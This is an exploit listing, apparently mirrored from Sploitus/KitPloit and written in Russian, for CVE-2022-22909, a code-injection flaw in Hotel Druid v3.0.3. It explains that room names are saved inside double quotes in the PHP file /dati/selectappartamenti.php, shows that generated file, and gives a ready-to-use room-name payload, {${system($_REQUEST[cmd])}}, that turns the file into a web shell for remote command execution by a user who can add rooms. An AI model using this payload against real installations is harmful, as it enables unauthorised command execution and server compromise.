Exploit for CVE-2022-22909

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0Z09E-CVE-2022-22909
# CVE-2022-22909

## Описание

Уязвимость внедрения кода была обнаружена в приложении `Hotel Druid v3.0.3`, которую злоумышленник может использовать для удаленного выполнения кода на сервере. **Для успешной эксплуатации злоумышленник должен иметь привилегию добавления новой комнаты.**

## Описание уязвимости

Уязвимость возникает из-за того, что названия комнат сохраняются в файл с именем `/dati/selectappartamenti.php` с использованием **двойных кавычек**.

root@kitploit:~
    
    
    <?php 
    echo "
    <option value=\"Room1\">Room1</option>
    <option value=\"Room2\">Room2</option>
    <option value=\"Room3\">Room3</option>
    ";
    ?>
    
    

## Полезная нагрузка

Для успешной эксплуатации добавьте новую комнату со следующей полезной нагрузкой в качестве названия комнаты.

root@kitploit:~
    
    
    {${system($_REQUEST[cmd])}}